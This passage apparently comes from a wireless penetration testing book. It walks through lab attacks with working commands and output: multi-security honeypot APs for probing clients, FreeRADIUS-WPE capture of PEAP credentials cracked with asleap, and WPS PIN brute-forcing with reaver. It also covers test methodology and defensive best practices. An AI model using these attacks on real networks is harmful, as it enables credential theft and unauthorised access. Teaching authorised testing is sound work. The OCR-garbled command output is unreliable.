the browser sent an HTTP request to the attacker's IP address on port 80. 


In the first part of the experiment, there was no listening process on port 80 of the attacker's 
machine and thus, Firefox responded with an error. Then, once we started the Apache server 
on the attacker's machine on port 80 (the default port), the browser's requested received a 
response from the attacker's machine with the default It Works! page. 


This lab shows us that, once we have full control of the lower layers (Layer 2 in this case), it is 
easy to hijack applications running on higher layers such as DNS clients and web browsers. 


The next step in session hijacking using a wireless MITM will be to modify the data being 
transmitted by the client. Explore software available on Kali called Ettercap. This will help 
you create search and replace filters for network traffic. 


In this challenge, write a simple filter to replace all occurrences of security in the network 
traffic to insecurity. Try searching Google for security and check whether the results show 
up for insecurity instead. 


Finding security configurations on the client 


In previous chapters, we have seen how to create Honeypots for open access points, 
WEP-protected and WPA, but, when we are in the field and see Probe Requests from the 
client, how do we know which network the probed SSID belong to? 


Though this seems tricky at first, the solution to this problem is simple. We need to 
create access points advertising the same SSID but with different security configurations 
simultaneously. When a roaming client searches for a network, it will automatically 
connect to one of these access points based on the network configuration stored on it. 


So, let the games begin! 
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Time for action — deauthentication attacks on the client 





1. 


2. 


We will assume that the wireless client has a network Wireless Lab configured on 
it, and it actively sends Probe Requests for this network, when it is not connected 
to any access point. In order to find the security configuration of this network, we 
will need to create multiple access points. For our discussion, we will assume that 
the client profile is an open network, WEP protected, WPA-PSK, or WPA2-PSK. This 
means we will have to create four access points. To do this, we will first create four 
virtual interfaces—mono to mon3, using the airmon-ng start wlan0 command 
multiple times: 


:~# alrmon-ng start wlanO 


Found 3 processes that could cause trouble. 

If alrodump-ng, aireplay-ng or airtun-ng stops working after 

a short period of time, you may want to kill (some of) them! 

-e 

PID Name 

2902 NetworkManager 

3201 wpa_supplicant 

3213 dhclient 

Process with PID 4114 (airbase-ng) 1s running on interface monO 


Interface Chipset Driver 


wlanO Ralink RT2870/3070 rt2800usb - [phy] 
(monitor mode enabled on mon2) 

mono Ralink RT2870/3070 rt2800usb - [phyQ] 

monl Ralink RT2870/3070 rt2800usb| - [phy6] 





You can view all these newly created interfaces using the ifconfig -a command: 


Link encap:UNSPEC HWaddr 80-1F-02-8F-34-D5-00-00-60-00-00-60-60-00- 06) | 


UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1800 Metric:1 
RX packets: 20394 errors:@ dropped: 337 overruns:@ frame: 

TX packets:0 errors:0 dropped: overruns:@ carrier: 

collisions:@ txqueuelen:1600 

RX bytes: 2800142 (2.6 MiB) TX bytes:0 (6.6 B) 


Link encap:UNSPEC HWaddr 80-1F-02-8F-34-D5-00-00-60-00-00- 06 


UP BROADCAST RUNNING MULTICAST MTU:1506 Metric:1 

RX packets:1956 errors:0 dropped: overruns: frame: 
TX packets:0 errors:0 dropped:@ overruns:0 carrier: 
collisions:@ txqueuelen:1600 

RX bytes: 356424 (348.0 KiB) TX bytes: (0.0 B) 


Link encap:UNSPEC HWaddr 80-1F-02-8F-34-D5-00-60-00-00-00-0C 


UP BROADCAST RUNNING MULTICAST MTU:1506 Metric:1 

RX packets:1772 errors:0@ dropped: G_overruns:0 frame:6 
TX packets:0 errors:0 dropped:@ overruns:@ carrier:@ 
collisions:@ txqueuelen: LOGO 

RX bytes:317018 (309.5 KiB). TX bytes io) (0.0-B) 


Link encap:UNSPEC HWaddr 80-1F-02-8F-34-D5-00-00-60-00-00-60-00-66-60 


UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 
RX packets:412 errors: dropped:@ overruns:@ frame: 
TX packets:0 errors:0@ dropped:@ overruns:@ carrier: 
collisions:@ txqueuelen: 1000 

RX bytes:40134 (39.1 KiB) TX bytes:0 (0.0 B) 
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‘~# alrbase-ng --essid “Wireless Lab" -a AA: AA: AA: AA: AA: AA -c 3 mond 
For information, no action required: Using gettimeotday() instead of /dev/rte 
‘20 Created tap interface atl 


‘20 Trying to set MTU on atl to 1500 





: 20 Access Point with BSSID AA: AA: AA: AA: AA: AA started. 


4. Let's create the WEP protected AP on mont: 


:~# airbase-ng --essid "Wireless Lab" -a BB:BB:BB:BB:BB:BB -W 1 monl 
For information, no action required: Using gettimeofday() instead of /dev/rtc 


12:11:26 Created tap interface at2 
12:11:26 Trying to set MTU on at2 to 1500 


ti_set_mac failed: Cannot assign requested address 


You most probably want to set the MAC of your TAP interface. 
ifconfig <iface> hw ether BB:BB:BB:BB:BB:BB 


12:11:26 Access Point with BSSID BB:BB:BB:BB:BB:BB started. 





5. The WPA-PSK AP will be on mon2: 


| :~# airbase-ng --essid "Wireless Lab" -c 3 -a CC:CC:CC:CC:CC:CC -W 1 -z 2 mon2 
For information, no action required: Using gettimeofday() instead of /dev/rtc 


12:13:07 Created tap interface at3 
12:13:07 Trying to set MIU on at3 to 1500 
)12:13:07 Access Point with BSSID CC:CC:CC:CC:CC:CC started. 





6. \WPA2-PSK AP will be on mon3: 


:~# airbase-ng --essid "Wireless Lab" -c 3 -a DD:DD:DD:DD:DD:DD -W 1 -Z 2 mon3 
For information, no action required: Using gettimeofday() instead of /dev/rtc 


12:13:54 Created tap interface at4 
12:13:54 Trying to set MTU on at4 to 1500 
12:13:54 Trying to set MTU on mon3 to 1800 


ti_set_mac failed: Cannot assign requested address 
You most probably want to set the MAC of your TAP interface. 
ifconfig <iface> hw ether DD:DD:DD:DD:DD:DD 





12:13:54 Access Point with BSSID DD:DD:DD:DD:DD:DD started. 


7. \Necanrun airodump-ng on the same channel to ensure that all four access 
points are up and running, as shown in the following screenshot: 


PWR Beacons CIPHER AUTH 


CCMP 
TKIP 
WEP 

TKIP 


CCMP 
TKIP 


0 0 
0 0 
0 C) 
0 0 
0 0 
0 0 
0 0 
| 0 
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PSK 


ESSID 


Downstairs 
Wireless Lab 
Wireless Lab 
Wireless Lab 
mitm 

Wireless Lab 
everythingwill 
Upstairs 
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8. Now let's switch the Wi-Fi on on the roaming client. Depending on which Wireless 
Lab network you connected it to previously, it will connect to that security 
configuration. In my case, it connects to the WPA-PSK network, as shown in the 
following screenshot: 


‘~# alrbase-ng --essid "Wireless Lab" -a AA: AA: AA: AA: AA: AA -c 3 mong 
For information, no action required: Using gettimeotday() instead of /dev/rte 
20 Created tap interface atl 
1:20 Trying to set MTU on atl to 1500 
2:20 Access Point with BSSID AA: AA: AA: AA:AA:AA started, 
: Got channel -1, expected a value = Q. 


41 Client 20:16: 7A:45:36:61 associated (unencrypted) to ESSID: "Wireless 
3:41 Client 20:106:7A4:45:36:61 associated (unencrypted) to ESSID: "Wireless 


8:41 Client 20:16:7A4:45:36:61 associated (unencrypted) to ESSID: "Wireless 





What just happened? 


We created multiple Honeypots with the same SSID but different security configurations. 
Depending on which configuration the client had stored for the "Wireless Lab" network, 
it connected to the appropriate one. 


This technique can come in handy as, if you are doing a penetration test, you won't know 
which security configurations the client has on its laptop. This allows you to find the 
appropriate one by setting a bait for the client. This technique is also called WiFishing. 





Create different security configurations on the client for the same SSID, and check whether 
your set of Honeypots is able to detect them. 


It is important to note that many Wi-Fi clients might not actively probe for networks they 
have stored in their profile. It might not be possible to detect these networks using the 
technique we discussed here. 


Q1. In an MITM attack, who is in the middle? 


1. The access point. 
2. The attacker. 

3. The victim. 
4 


None of the above. 
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Q2. Dnsspoof: 


1. Spoofs DNS requests. 

2. Spoofs DNS responses. 

3. Needs to run on the DNS server. 
4 


Needs to run on the access point. 


Q3. A wireless MITM attack can be orchestrated: 


1. Onall wireless clients at the same time. 
2. Only one channel at a time. 

3. Onany SSID. 

4. Both3 and 4. 


Q4. Which is the interface closest to the victim in our MITM setup? 


1. Ato. 
2. Etho. 
3. BrO. 
4. Eno. 


Summary 


In this chapter, we learned how to conduct advanced attacks using wireless as the base. 
We created a setup for a MITM attack over wireless and then used it to eavesdrop on the 
victim's traffic. We then used the same setup to hijack the application layer of the victim 
(web traffic, to be specific) using a DNS poisoning attack. 


In the next chapter, we will learn how to conduct a wireless penetration test right from the 
planning, discovery, and attack to the reporting stage. We will also touch upon the best 
practices to secure WLANSs. 
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"The bigger they are, the harder they Fall." 


Popular Saying 


WPA-Enterprise has always had an aura of unbreakable ability around it. 
Most network administrators think of it as a panacea for all their wireless 
security problems. In this chapter, we will see that nothing could be further 
from the truth. 


In this chapter, we will learn how to attack WPA-Enterprise using different tools and 
techniques available on Kali. 


In this chapter, we will cover the following topics: 


@ Setting up FreeRADIUS-WPE 
@ Attacking PEAP on Windows clients 


@ Security best practices for Enterprises 


We will need a RADIUS server for orchestrating WPA-Enterprise attacks. The most widely 
used open source RADIUS server is FreeRADIUS. However, setting it up is difficult and 
configuring it for each attack can be tedious. 
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Joshua Wright, a well-known security researcher, created a patch for FreeRADIUS that makes 
it easier to set up and conduct attacks. This patch was released as the FreeRADIUS-WPE 
(Wireless Pwnage Edition). Kali doesn't naturally come with FreeRADIUS-WPE, so you 

need to perform the following steps to set up FreeRADIUS-WPE: 


1. Navigate to https: //github.com/brad-anton/freeradius-wpe and 
you will find the downloaded link at https: //github. com/brad-anton/ 
freeradius-wpe/raw/master/freeradius-server-wpe 2.1.12-1 1386. 
deb: 


C) brad-anton/freeradius-wpe ° Gi... | oP | 


cea E> | @ GitHub, Inc. (US) github.com ~~ €| [3] 


FaiMost Visitedy [Offensive Security “a Kali Linux “& Kali Docs ERExploit-DB ®& Aircrack-ng 


Using Binary 

If you're using the .deb, it has been tested with BackTrack 5 R2, but 
will likely work with other versions and Ubuntu/Debian. 
wget Attps?77github’ com/brad-anton/ free radius: wpe/raw/master/freeradius- 
server-wpe_2.1.12-1_1386.deb 





Once it is downloaded, install it with dpkg -i freeradius-server-wpe 2.1.12-1_ 
1386 .deb followed by ldconfig: 


-~# dpkg -1 freeradius-server-wpe 2.1.12-1 1386.deb 
selecting previously unselected package freeradius-server-wpe. 
(Reading database ... 345364 files and directories currently installed.) 
Unpacking freeradius-server-wpe (from freeradius-server-wpe 2.1.12-1 1386.deb) 


Setting up freeradius-server-wpe (2.1.12-1) 
Processing triggers for man-db 





Let's now quickly set up the RADIUS server on Kali. 


Time for action — setting up the AP with FreeRADIUS-WPE 





Follow these instructions to get started: 


1. Connect one of the LAN ports of the access point to the Ethernet port on your 
machine running Kali. In our case, the interface is etho. Bring up the interface 
and get an IP address by running DHCP, as shown in the following screenshot: 
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‘~# dhclient eth@ 
Reloading /etc/samba/smb.conf: smbd only. 
RINETLINK answers: File « 

i~# ping 1927.16 
PING 192.168.1.1 (192 


64 bytes from 192.168.1. 


icmp _req=l ttl=128 time=0.992 ms 
64 bytes from 192.168.1.1: icmp_req=2 ttl=128 time=0.820 ms 

ais 

--- 192.168.1.1 ping statistics --- 

# packets transmitted, sived, 0% packet Loss, time 1001ms 
rtt min/avg/max/mdev = @.820/0.906/0.992/0.086 ms 


#9 





Login to the access point and set the security mode to WPA/WPA2-Enterprise, 
set Version to WPA2, Encryption to AES. Then, under the EAP (802.1x) section, 
enter the Radius Server IP address as your Kali build's IP address. The Radius 
Password will be test, as shown in the following screenshot: 


@ WPA/WPAZ - Enterprise 


Version: 
Encryption: 
Radius Server IP: 
Radius Port 
Radius Password: 


Group Key Update Period: 





3. 


WPA? : 

AFS : 
(192.168.0130 | 
[1812 
| test 


ne 


| (1-65535, 0 stands for default port 1812) 














This is where all the FreeRADIUS-WPE configuration files are: 


s.access challenge 
‘S.access reject 
"s.accounting response 
'S.pre-proxy 


db# Ls 
clients.conf 
dictionary modules 
eap.cont policy.conf 
policy.txt 
preproxy_users 
proxy.cont 
radiusd.cont 


experimental .cont 
hints 
huntgroups 
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| (in second, minimum is 30, 0 means no update) 


Let's now open a new terminal and go to the directory /usr/local/etc/raddb. 


sql .conf 
sqlippool.cont 
templates.conf 
users 
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4, Let's open eap.conf. You will find that the default _eap type command is 
set to MDS. Let's change this to peap: 


GNU nano 2.2.6 File: eap.conf Modified 


The incoming EAP messages DO NOT specify which EAP 
type they will be using, so it MUST be set here. 


For now, only one default EAP type may be used at a time. 
If the EAP-Type attribute is set by another module, 


then that EAP type takes precedence over the 
default type configured here. 


“ 
= 
= 
o 
= 
= 
2 
2 
= 
d 


efault_eap type = peapf 





5. Let's open clients.conf. This is where we define the allowed list of clients that 
can connect to our Radius server. Interestingly, if you browse right to the bottom, 
ignoring the example settings, the secret for clients in the range 192.168.0.0/16 
defaults to test. This is exactly what we used in step 2: 


GNU nano 2.27.6 File: clients.cont 


Un-comment this section, and edit a "Listen" section to add: 
"clients = per socket clients". That IP address/port combination 
will then accept ONLY the clients listed in this section. 


client 192.168.3. 
secret = 


} 


# 
# 
# 
# 
#per socket clients { 
# 
# 
# 
7 | 


} 


secret 
shortname 





6. Weare now all set to start the RADIUS server with the radiusd -s -xX command: 


root@kali: ~ 


File Edit View Search Terminal Help 
:~# radiusd -s -xXfj 





7. Once you run this, you will see a lot of debug messages on the screen, but 
eventually the server will settle down to listen for requests. Awesome! We are 
all set now to start our lab sessions in this chapter: 
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root@kali: ~ 


Edit View Search Terminal Help 


mele) aha ae) a 
Listen { 
socket = "/usr/lLocal/var/run/radiusd/ radiusd.sock" 
} 
} 
Listen { 
type = "auth" 
ipaddr = 127.0.0.1 
port = 18120 
} 


. adding new socket proxy address * port 45609 
Listening on authentication address, * port 1812 
Listening on accounting address * port 1813 
Listening on command file /usr/local/var/run/radiusd/ radiusd.sock 
Listening on authentication address 12/7.0.0.1 port 18120 as server inner-tunnel 
Listening on proxy address * port 1814 
Ready to process requests. 





What just happened? 


We have successfully set up FreeRADIUS-WPE. We will use this in the rest of the experiments 
that we will do in this chapter. 


FreeRADIUS-WPE has tons of options. It may be a good idea to familiarize yourself with 
them. Most importantly, take time to check out the different configuration files and how 
they all work together. 


Protected Extensible Authentication Protocol (PEAP) is the most popular version of EAP 
in use. This is the EAP mechanism shipped natively with Windows. 


PEAP has two versions: 


@ PEAPvO with EAP-MSCHAPv2 (the most popular as this has native support 
on Windows) 


@ PEAPv1 with EAP-GTC 
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PEAP uses server-side certificates for validation of the RADIUS server. Almost all attacks on 
PEAP leverage misconfigurations in certificate validation. 


In the next lab, we will take look at how to crack PEAP when certificate validation is turned 
off on the client. 


Time for action — cracking PEAP 


Follow the given instructions to get started: 





1. Wedouble-check the eap. conf file to ensure that PEAP is enabled: 


GNU nano 2.2.6 File: eap.conf Modified 


The incoming EAP messages DO NOT specify which EAP 
type they will be using, so it MUST be set here. 


For now, only one default EAP type may be used at a time. 
If the EAP-Type attribute is set by another module, 


then that EAP type takes precedence over the 
default type configured here. 


Q*+ Ht HHHH HH H 


efault_eap type = peapf 





2. \Nethen restart the RADIUS server with radiusd -s -X: 


root@kali: ~ 


File Edit View Search Terminal Help 
Listen { 

type = "acct" 

ipaddr = * 

port = 
} 
Listen { 

type = "control" 
Listen { 

socket = "/usr/lLocal/var/run/radiusd/radiusd.sock" 


{ 

type = "auth" 
ipaddr = 12/.0.0.1 
port = 186120 


adding new socket proxy address * port 45609 
Listening on authentication address * port 1812 
Listening on accounting address * port 1813 
Listening on command file /usr/local/var/run/radiusd/ radiusd.sock 
Listening on authentication address 1277.0.0.1 port 18120 as server inner-tunnelL 
Listening on proxy address * port 1814 
Ready to process requests. 
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3. Wemonitor the log file created by FreeRADIUS-WPE: 


erver-wpe.Llog 





4. \Nindows has native support for PEAP. Let's ensure that certificate verification has 
been turned off: 


| Protected EAP Properties 


When connecting: 


| Validate server certificate 


Connect to these servers: 























America Online Root Certification Authority 1 
avast! Mail Scanner Root 

Baltimore CyberTrust Root 

Certum CA 

Class 2 Primary CA 

Class 3 Public Primary Certification Authority 


ih 




















Do not prompt user to authorize new servers or trusted 
certification authorities. 


Select Authentication Method: 


Secured password (EAP-MSCHAP v2) 7 | Configure... 


| Enable Fast Reconnect 
Enforce Network Access Protection 
Disconnect if server does not present cryptobinding TLV 
Enable Identity Privacy 
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5. Weneed to click on the Configure tab that is next to Secured password and tell 
Windows not to automatically use our Windows logon name and password: 


EAP MSCHAPw2 Properties 


When connecting: 


A Automatically use my Windows logon name and 
password (and domain if any). 





6. Wewill also have to force it to select User authentication in the Advanced 
Settings dialog box: 


Advanced settings 


802.1% settings | 802.11 settings 


| User authentication ¥ | Save credentials 


Delete credentials for all users 


| Enable single sign on for this network 
(@) Perform immediately before user logon 
Perform immediately after user logon 
10 


Allow additional dialogs to be displayed during single 
sign on 


This network uses separate virtual LANs for machine 
and user authentication 
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7. Once the client connects to the access point, the client is prompted for a user 
name and password. We use Monster as the user name and abcdefghi as 
the password: 


Windows Security 


Network Authentication 
Please enter user credentials 


| User name 


| Password 





8. Assoonas we do this, we are able to see the MSCHAP-v2 challenge response 
appear in the log file: 


L, s# tail -f freeradius-server-wpe.Llog 
response: 66: S:ibd:icl:41:f9:aa:lf:sties:/e:fe:icf:/5:ld:bf:88 
'bB:80:48 
john NETNTLM: blah: $NETNTLM$0db46a6aea953d fat66b4 f6067ca9bdc141f9aalf3fe 
8/efect/Sldbteebsso4s 


: focre flares 
-/UST, iter | 


mschap: Thu Nov 20 13:22:53 2074 


username: Monster 

challenge: fe:94:f3:d9:9b:13:54:b9 

response: db:68:44:c6:/b:6d:fT8:05:b2:1c:86:2f:0a:18:3b:d0:13:e0:21:00:f1 
'69:1/:Te 

john NETNTLM: Monster: $NETNTLM$ fe94 f3d99b1354b9$db6844c6/b6df805b21c862f 
Gal83bd013e02100T1691/ fc 





9. \Nenowuse asleap to crack this using a password list file that contains the password 
abcdefghi, and we are able to crack the password! (For the purposes of this 
demonstration, we simply created a one-line file called list with the password in it): 


‘f/usr/Local/var/log/radius# asleap -C fe:94:f3:d9:9b:13:54:b9 -R db:68: 
44:c6:/b:6d:fT8:05:b c:66:2T:0a:1l8:3b:d0:13:e0:21:00:T1:69:1/:fe -W list 
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com= 
Using wordlist mode with "List". 


hash bytes: 905? 
NT hash: e18614f7/c6811 F043 fb f542705e929052? 
password: abedefghi 
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What just happened? 


We set up our Honeypot using FreeRADIUS-WPE. The enterprise client is misconfigured to 
not use certificate validation with PEAP. This allows us to present our own fake certificate to 
the client, which it gladly accepts. Once this happens, MSCHAP-v2, the inner authentication 
protocol, kicks in. As the client uses our fake certificate to encrypt the data, we are easily 
able to recover the username, challenge, and response tuples. 


MSCHAP-v2 is prone to dictionary attacks. We use asleap to crack the challenge and 
response pair, as it seems to be based on a dictionary word. 





PEAP can be misconfigured in multiple ways. Even with certificate validation enabled, if 

the administrator does not mention the authentic servers in connect to these servers list, 

the attacker can obtain a real certificate for another domain from any of the listed certifying 
authorities. This will still be accepted by the client. Other variations of this attack are possible 
as well. 


We will encourage you to explore the different possibilities in this section. 


EAP-TTLS 


We encourage you to try attacks similar to those we have suggested for PEAP against 
EAP-TTLS. 


Security best practices for Enterprises 


We have seen a ton of attacks against WPA/WPA2, both Personal and Enterprise. Based on 
our experience, we recommend the following: 


@ ForSOHOs and medium-sized businesses, use WPA2-PSK with a strong passphrase. 
You have up to 63 characters at your disposal. Make use of them. 


For large enterprises, use WPA2-Enterprise with EAP-TLS. This uses both the 
client- and server-side certificates for authentication, and currently is unbreakable. 


@ If you have to use PEAP or EAP-TTLS with WPA2-Enterprise, then ensure that 
certificate validation is turned on, the right certifying authorities are chosen, RADIUS 
servers that are authorized are used, and finally, that any setting that allows users 
to accept new RADIUS servers, certificates, or certifying authorities is turned off. 


[1661 


Pop quiz — attacking WPA-Enterprise and RADIUS 
Q1. Which of the following is FreeRADIUS-WPE? 


1. A RADIUS server written from scratch. 
2. Apatch to the FreeRADIUS server. 

3. Ships by default on all Linuxes. 
4. 


None of the above. 
Q2. Which of the following can be used to attack PEAP? 


1. Fake credentials. 
2. Fake certificates. 
3. Using WPA-PSK. 
4. Allof the above. 


Q3. What does EAP-TLS use? 


1. Client-side Certificates. 
2. Server-side certificates. 
3. Either 1 or 2. 
4. Both1and 2. 


Q4. What does EAP-TTLS use? 


Client-side certificates only. 
Server-side certificates. 
Password-based authentication. 
LEAP. 


a a, abe CE 


Summary 


In this chapter, we saw how we could compromise the security of a WPA-Enterprise 
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network running PEAP or EAP-TTLS, the two most common authentication mechanisms 


used in Enterprises. 


In the next chapter, we will take a look at how to put all that we have learned into use 


during an actual penetration test. 
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WLAN Penetration Testing 
Methodology 





"The proof is in the pudding." 


Popular saying 


This chapter will lay out the steps that go in to taking the techniques taught in 
the previous chapters and turning them into a full wireless penetration test. 


To perform a wireless penetration test, it is important to follow a defined methodology. 
Simply firing up the airbase or airodump command and hoping for the best will not satisfy 
the goals of a test. When working as a penetration tester, you must ensure that you adhere 
to the standards of the organization you're working for, and if they don't have any, then you 
should hold yourself to the highest standards. 


Broadly, we can break up a wireless penetration testing exercise into the following phases: 


Planning phase. 
Discovery phase. 
Attack phase. 
Reporting phase. 


eS 


We will now look at each of these phases separately. 
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In this phase, we must understand the following: 


@ Scope of the assessment: The penetration tester should work with the client to define 
a scope that is achievable and will also provide the greatest amount of insight into the 
security of a network. Typically, the following information is gathered: 


a Location of the penetration test 
a Total coverage area of the premises 
a Approximate number of access points and wireless clients deployed 
a Which wireless networks are included in the assessment? 
a Is exploitation in scope? 
a Are attacks against users in scope? 
a Is denial of service in scope? 
@ Effort estimation: Based on the scope defined, the tester will then have to estimate 
how much time is required. Bear in mind that rescoping may occur following this 


estimate, as organizations may have limited resources available in terms of both 
time and money. 


@ Legality: Prior to performing a test, the client must give consent. This should explain 
the testing to be covered and clearly define the level of indemnity, insurance, 
and the limitations of the scope. If you are unsure, you will need to speak to a 
professional in these areas. Most organizations will have their own versions that 
will likely also incorporate an Non-Disclosure Agreement (NDA). 


Once all of the preceding requirements are in place, we are ready to go! 


Discovery 


In this phase, the aim is to identify and apply characteristics to the wireless devices and 
wireless networks within the scope. 


All the techniques to perform these have been laid out in the previous chapters but, in brief, 
the aim is to: 

Enumerate visible and hidden wireless networks in the area 

Enumerate devices in the area, along with those connected to the targeted networks 


Map the range of the networks, where they are reachable from and whether there 
are places a malicious individual could operate from to perform an attack, for 
example, a cafe. 
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All of this information should be recorded. If the test is limited to the performance of 
reconnaissance only, the test will end here, and the tester will attempt to draw conclusions 
based on this information. Some statements that would be useful to a client are be 

as follows: 


@ The number of devices that have associations with open networks and the 
corporate network 


@ The number of devices that have networks that can be linked to locations 
through solutions such as WiGLE 


The existence of weak encryption 


The networks set up are too strong 


Once reconnaissance has been performed, exploitation must be performed for proof of 
concept. If the attack is being performed as part of a red team or wider assessment, then 
exploitation should be performed to gain access to the network as surreptitiously as possible. 


In our attacking phase, we will explore the following: 


Cracking the encryption 
Attacking the infrastructure 
Compromising clients 


Finding vulnerable clients 


¢ ¢ ¢hlUOm™lClUM 


Finding unauthorized clients 


Cracking the encryption 


The first step is to retrieve the keys for any vulnerable networks identified. If networks 
with WEP exist, perform the WEP-cracking methods explained in Chapter 4, WLAN 
Encryption Flaws. lf WPA2-secured systems are present, you have two choices. If aiming 
to be stealthy, arrive on-site at times when individuals are likely to be authenticating 

or re-authenticating. These times are likely to be: 


@ Start of the day 
@ Lunch time 
@ End of the day 
At this time, set up your WPA key retrieval setup as shown in Chapter 4, WLAN Encryption 


Flaws. Alternatively, perform the deauthentication attack, as shown in Chapter 6, Attacking 
the Client. 
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WLAN Penetration Testing Methodology 
This is noisier and more likely to be detected in a mature organization. 


If WPA-Enterprise is in place, bear in mind you will have to use the information gathered from 
the reconnaissance to target the correct network and set up your dummy Enterprise setup as 
shown in the Attacking PEAP section in Chapter 8, Attacking WPA-Enterprise and RADIUS. 


You can attempt to break all passphrases but bear in mind that some will be unbreakable. 
Following the performance of the test, check with the wireless administrator for the 
passphrase in use. Check to see whether it is a secure passphrase and that you, as a tester, 
did not experience a tool failure or were merely unlucky. 


Attacking infrastructure 

If network access is gained through cracking the encryption, perform a standard network 
penetration test if allowed in scope. The following should be performed as a minimum: 
A port scan 

Identifying which services are running 


Enumerating any open services, such as unauthenticated FTP, SMB, or HTTP 
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Exploiting any vulnerable services identified 


After enumerating and testing all wireless systems, there are various types of engagements 
that would suit performing attacks against clients. 


If necessary, after establishing which clients are vulnerable to Karma attacks, create a Honeypot 
to force them to connect with the methods laid out in the Attacking PEAP section in Chapter 8, 
Attacking WPA-Enterprise and RADIUS. There are various useful pieces of information that can 
be gathered through this method, but ensure that the collected data serves a purpose and 

is stored, transmitted, and used in an ethical and safe manner. 


Finally, at the end of testing, it is necessary to report your findings to the client. It's 
important to ensure that the report matches the quality of your testing. As the client 
will only see the report, you have to give it as much love and attention as you do to 
your testing. The following is a guideline to the layout of the report: 

1. Management summary. 


2. Technical summary. 
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3. Findings: 
a Vulnerability description 
o © Severity 
u Affected devices 
a Vulnerability type—software/hardware/configuration 


a Remediation 
4. Appendices. 


The management summary should be aimed at talking to a senior nontechnical audience 
with a focus on the effects and mitigations required at a high level. Avoid language that is 
too technical and ensure that the root causes are covered. 


The technical summary should be a midpoint between the management summary and 
findings list. It should be aimed at a developer or a technical lead with a focus on how to 
fix the issues and broad solutions that could be implemented. 


The findings list should describe each vulnerability at a low level, explaining the methods 
to identify, and replicate, and vulnerabilities. 


Appendices should contain any extra information that would be too long to describe in 
a short description. This is where any screenshots, proof-of-concept code, or stolen data 
should be presented. 


Summary 


In this chapter, we discussed a methodology for performing a range of wireless tests and 
referred to the relevant chapters for each step. We also listed methods for reporting 
vulnerabilities and techniques for making technical data presentable. In the next and final 
chapter, we will cover new techniques developed since the initial publication of this book, 
WPS, and probe monitoring for surveillance. 
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"Nothing is new under the sun." 


Popular Saying 


This chapter incorporates the new techniques related to attacking WPS and 
probe monitoring and also covers the pineapple tool that makes much of 
wireless testing a lot easier. These attacks and tools have appeared since 
the publication of the original book, and we'll be making sure we're being 
as holistic as possible. 





Wireless Protected Setup (WPS) was introduced in 2006 to help users without wireless 
knowledge to have secure networks. The idea was that their Wi-Fi device would have a single 
hidden hardcoded value that would allow access with key memorization. New devices would 
be authenticated through a button press on the Wi-Fi router. Individuals outside the house 
without access to the device would not be able to have access, thus reducing the issues 
surrounding remembering WPA keys or setting short ones. 


In late 2011, a security vulnerability was disclosed enabling brute force attacks on the WPS 
authentication system. The traffic required to negotiate a WPS exchange was spoofable, 
and the WPS pin itself is only eight characters between 0-9. To start with, this provides 
only 100,000,000 possibilities in comparison with an eight character azAZO9 password 
having 218,340,105,584,896 combinations. 
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However, there are further vulnerabilities: 
@ Of the eight characters of the WPS pin, the last character is a checksum of the 
previous seven and therefore predictable, leaving a maximum of 10,000,000 options 
@ In addition, the first four and the following three of the remaining characters are 


checked separately, which means that there are 10% + 10° options or 11,000 


Through the two decisions made in the authentication mechanism, we have gone from 
100,000,000 possible combinations to 11,000. This equates to a six-hours difference when 
brute-forcing the algorithm. It is these decisions that make attacks against WPS viable. 


In the next lab exercise, we will go through identifying and attacking vulnerable WPS 
setups with Wash and Reaver. 


Time for action — WPS attack 





Follow the given instructions to get started: 


1. Before we attack a WPS-enabled access point, we need to create one. The 
TP-Link we use has this feature turned on by default, which is worrying but handy. 
To double-check this, we can log onto our router and click on WPS. It should look 
like the following: 


TPR-LINK 


Status 
Quick Setup WPS (Wi-Fi Protected Setup) 


Network = 
WPS Status: Enabled Disable WPS 
Wireless 


DHCP 
Current PIN: 88455808 | RestorePIN | Gen New PIN’ 


Disable PIN of this device 


ela rleel tare) 
Security 


Parental Control 


Access Control Add a new device: Add Device 


Advanced Routing 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 


System Tools 





2. Now we've confirmed that it's ready. We need to set up our target. We need to set 
up our testing environment. We're going to use the Wash tool, and Wash requires a 
monitoring interface to function. As we have done many times before, we need to 
set up one with the following command: 


airmon-ng start wlan0o 
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The output will be as follows: 


:~# airmon-ng start wlan0 


Found 4 processes that could cause trouble. 

If airodump-ng, aireplay-ng or airtun-ng stops working after 

a short period of time, you may want to kill (some of) them! 
-2 

PID Name 

Was hele! NetworkManager 

3242 dhclient 

5615 wpa_supplicant 

5640 dhclient 

Process with PID 5640 (dhclient) is running on interface wlan0 


Interface Chipset Driver 


ae-lalc) Ralink RI28/70/30/70 rt2800usb - [phy@] 
Giilelah mae) mn iele|-me-lal-|elG-leMmelammiilelaice) 
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3. Wehavea monitoring interface set up as mono, and we can call Wash with the 


following command: 


wash --ignore-fcs -i mono 


The ignore fcs option is due to an issue with an expected format for requests 


that wash causes: 


'~# wash --1ignore-fes -i mond 





Wash will display all the nearby devices that support WPS as well as whether they 


have WPS active or unlocked and what version is running: 


i~# wash --ignore-fcs -i mong 


Wash vl.4 WiFi Protected Setup Scan Tool 


Copyright (c) 
com> 


L 


BSSID aS WPS Version 
ESSID 


E8:94:F6:62:1E:8E 


Wireless Lab 
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2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetso 


WPS Locked 


WPS and Probes 


5. 


We can see the Wireless Lab network supports WPS. It uses Version 1 and it's 
not locked. Fantastic. We take note of the MAC address, which in my case is 
E8:94:F6:62:1E: 8B, as this will be used to target our next tool: reaver. 


Reaver attempts to brute-force the WPS pin for a given MAC address. The syntax 
for starting this is as follows: 


reaver -i mon0O -b <mac> -vv 


The output will be as follows: 


‘~# reaver -i mon® -b E8:94:F6:627:1E:68E -vv 


Reaver vl.4 WiFi Protected Setup Attack Tool 
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnets 
ol .com> 


[ 
[ 
[ 
[ 
[ 


+ 
+ 
+ 


Restore previous session for E8:94:Fe:62:1E:8E? [n/¥] n 
Waiting for beacon from E8:94:F6:62:1E:8E 
Switching mon@® to channel 3 
jated with E8:94:Fe:62:1E:8E (ESSID: Wireless Lab) 
WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking 





Once it is started, the tool runs through all the possible combinations for the WPS 
and attempts to authenticate. Once it does this, it will return the WPS code and the 
password, as shown in the following screenshot: 


Nothing done, nothing to save. 

